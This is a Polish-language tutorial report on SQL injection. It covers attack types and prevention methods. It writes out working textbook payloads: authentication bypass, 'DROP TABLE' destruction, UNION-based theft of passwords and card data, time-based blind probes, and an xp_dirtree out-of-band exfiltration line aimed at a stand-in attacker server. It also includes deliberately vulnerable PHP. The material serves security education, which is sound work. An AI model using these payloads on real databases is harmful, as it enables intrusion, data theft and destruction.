SQL injection (SQLi) to zaawansowana technika cyberataku polegająca na manipulacji zapytaniami SQL poprzez wstrzyknięcie złośliwego kodu, umożliwiająca nieautoryzowany dostęp do baz danych, kradzież informacji lub modyfikację struktury danych. Ataki te wykorzystują błędy projektowe w aplikacjach, szczególnie brak odpowiedniej walidacji i sanizacji danych wejściowych. W przeciwieństwie do exploitów wykorzystujących luki w oprogramowaniu, SQLi opiera się na błędach programistycznych, co czyni go jednym z najpowszechniejszych zagrożeń dla systemów opartych na relacyjnych bazach danych. W niniejszym raporcie szczegółowo przeanalizowano mechanizmy działania różnych typów SQL injection, przedstawiono praktyczne przykłady ataków oraz omówiono najskuteczniejsze metody prewencji.
Mechanizm Działania SQL Injection
Podstawą ataków SQL injection jest wykorzystanie niezabezpieczonych danych wejściowych, które są bezpośrednio interpolowane do zapytań SQL. Aplikacje dynamicznie generujące zapytania na podstawie parametrów od użytkownika (np. z formularzy) są szczególnie podatne, jeśli nie stosują mechanizmów walidacji lub parametyzacji.
Struktura Podatnego Zapytania
Klasyczny przykład podatnego kodu w PHP wygląda następująco:
$user = $_POST['username']; $pass = $_POST['password']; $query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'"; Jeśli atakujący wprowadzi w polu hasła wartość ' OR '1'='1, zapytanie przyjmie postać:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1' Warunek '1'='1' zawsze zwraca wartość prawdziwą, co pozwala ominąć uwierzytelnianie. W efekcie atakujący uzyskuje dostęp do konta administratora bez znajomości hasła.
Manipulacja Logiką Zapytań
Atakujący mogą modyfikować strukturę zapytań poprzez:
- Komentarze SQL – Użycie
--(w MySQL#) ignoruje resztę linii, co pozwala pomijać warunki. - Konkatenację Zapytań – W niektórych systemach (np. MySQL) średnik pozwala łączyć wielokrotne zapytania. Przykładowo, wprowadzenie
'; DROP TABLE users;--usunie tabelęusers. - Funkcje Built-in – Wywołania funkcji takich jak
BENCHMARK()w MySQL opóźniają odpowiedź, umożliwiając ataki czasowe.
Przykład ataku wykorzystującego UNION SELECT do wyciągnięcia haseł:
SELECT user, last_login FROM users UNION SELECT user, password FROM users; Wstrzyknięcie takiego kodu poprzez parametry URL może ujawnić wrażliwe dane.
Typy SQL Injection
Ataki SQLi można sklasyfikować na podstawie metody pozyskiwania informacji i kanału komunikacji.
In-Band SQLi (Bezpośredni)
Ataki te wykorzystują ten sam kanał do iniekcji i pozyskiwania danych. Dzielą się na dwa podtypy:
Error-Based SQLi
Atakujący celowo generują błędy w bazie danych, np. dzieląc przez zero lub używając niepoprawnej składni. Komunikaty błędów często ujawniają struktury tabel lub dane konfiguracyjne. Przykład:
SELECT * FROM products WHERE id = 1/0; Union-Based SQLi
Wykorzystuje operator UNION do łączenia wyników z oryginalnego zapytania z wynikami złośliwego zapytania. Warunkiem sukcesu jest zgodność liczby i typu kolumn. Przykład:
SELECT name, price FROM products WHERE id = 1 UNION SELECT username, password FROM users; Blind SQLi (Ślepa Iniekcja)
Gdy aplikacja nie zwraca bezpośrednich wyników zapytań, atakujący inferują dane na podstawie zachowania systemu.
Boolean-Based
Oparta na analizie różnic w odpowiedziach aplikacji dla warunków prawda/fałsz. Przykładowo, jeśli strona ładuje się normalnie dla id=42 AND 1=1, ale nie dla id=42 AND 1=0, atakujący może stopniowo odgadywać wartości.
Time-Based
Atakujący wstrzykują zapytania powodujące opóźnienia (np. SLEEP(5)), aby potwierdzić prawdziwość warunków. Przykład dla MySQL:
SELECT IF(SUBSTRING(user(),1,1)='a', SLEEP(5), NULL); Opóźnienie 5 sekund oznaczałoby, że nazwa użytkownika zaczyna się od 'a’.
Out-of-Band SQLi
Wymaga współpracy z zewnętrznym serwerem, gdy bezpośredni zwrot danych jest niemożliwy. Atakujący wykorzystują funkcje DNS lub HTTP do eksfiltracji danych. W MS SQL przykład to:
EXEC xp_dirtree '\\attacker-server\'+ (SELECT TOP 1 column_name FROM information_schema.columns) +'.example.com\'; Żądanie DNS do domeny column_name.example.com ujawni nazwę kolumny.
Przykłady Ataków i Ich Skutki
Atak na Autentykację
Zapytanie logowania:
SELECT id FROM users WHERE username = '$user' AND password = '$pass'; Wprowadzenie ' OR '1'='1 w polu hasła przekształca je w:
SELECT id FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; Atakujący uzyskuje dostęp do konta admin bez hasła.
Kradzież Danych
Przy użyciu UNION SELECT:
SELECT product_name, price FROM products UNION SELECT credit_card_number, expiry_date FROM payments; Iniekcja tego zapytania może ujawnić dane kart płatniczych.
Destrukcyjne Ataki
Wstrzyknięcie '; DROP TABLE users;-- usuwa tabelę użytkowników, paraliżując działanie aplikacji. W MySQL:
'; DROP TABLE users; -- Ataki Czasowe
Przykład wykorzystania BENCHMARK() do sprawdzenia hasła:
SELECT IF(SUBSTRING(password,1,1)='a', BENCHMARK(1000000,MD5('test')), NULL) FROM users; Wydłużony czas odpowiedzi wskazuje, że pierwszy znak hasła to 'a’.
Metody Zapobiegania
Parametryzacja Zapytań
Najskuteczniejsza technika, zastępująca konkatenację ciągów znaków parametrami. W .NET:
SqlCommand command = new SqlCommand("SELECT * FROM users WHERE username = @user", connection); command.Parameters.AddWithValue("@user", userInput); Parametry traktowane są jako dane, nie jako część kodu SQL.
Whitelisting i Walidacja
Ograniczenie dopuszczalnych znaków w danych wejściowych. Np. dla pola „wiek” akceptuj tylko liczby:
if (!ctype_digit($age)) { die("Nieprawidłowy format wieku"); } Escapowanie Znaków
Stosowanie funkcji takich jak mysqli_real_escape_string() w PHP, ale nie jest to wystarczające jako jedyna metoda.
Minimalne Uprawnienia
Konta aplikacyjne powinny mieć ograniczone uprawnienia (np. brak możliwości usuwania tabel).
Narzędzia Automatyczne
Skenery podatności jak SQLMap automatyzują wykrywanie i eksploatację SQLi, ale wymagają odpowiedniej konfiguracji.
Wnioski i Rekomendacje
SQL injection pozostaje krytycznym zagrożeniem ze względu na powszechność błędów projektowych w aplikacjach webowych. Kluczowe dla bezpieczeństwa są:
- Edukacja Programistów – Szkolenia z bezpiecznego kodowania i testowania podatności.
- Implementacja ORM – Użycie frameworków (np. Hibernate) minimalizuje konieczność pisania natywnych zapytań.
- Regularne Audyty – Testy penetracyjne i analiza kodu pod kątem podatności.
- Monitorowanie Logów – Wykrywanie nietypowych zapytań (np. wielokrotne
UNION SELECT).
Organizacje powinny przyjąć filozofię „zero zaufania”, traktując wszystkie dane wejściowe jako potencjalnie wrogie. Pomimo dostępnych narzędzi, ludzki czynnik pozostaje newralgicznym elementem w łańcuchu zabezpieczeń.
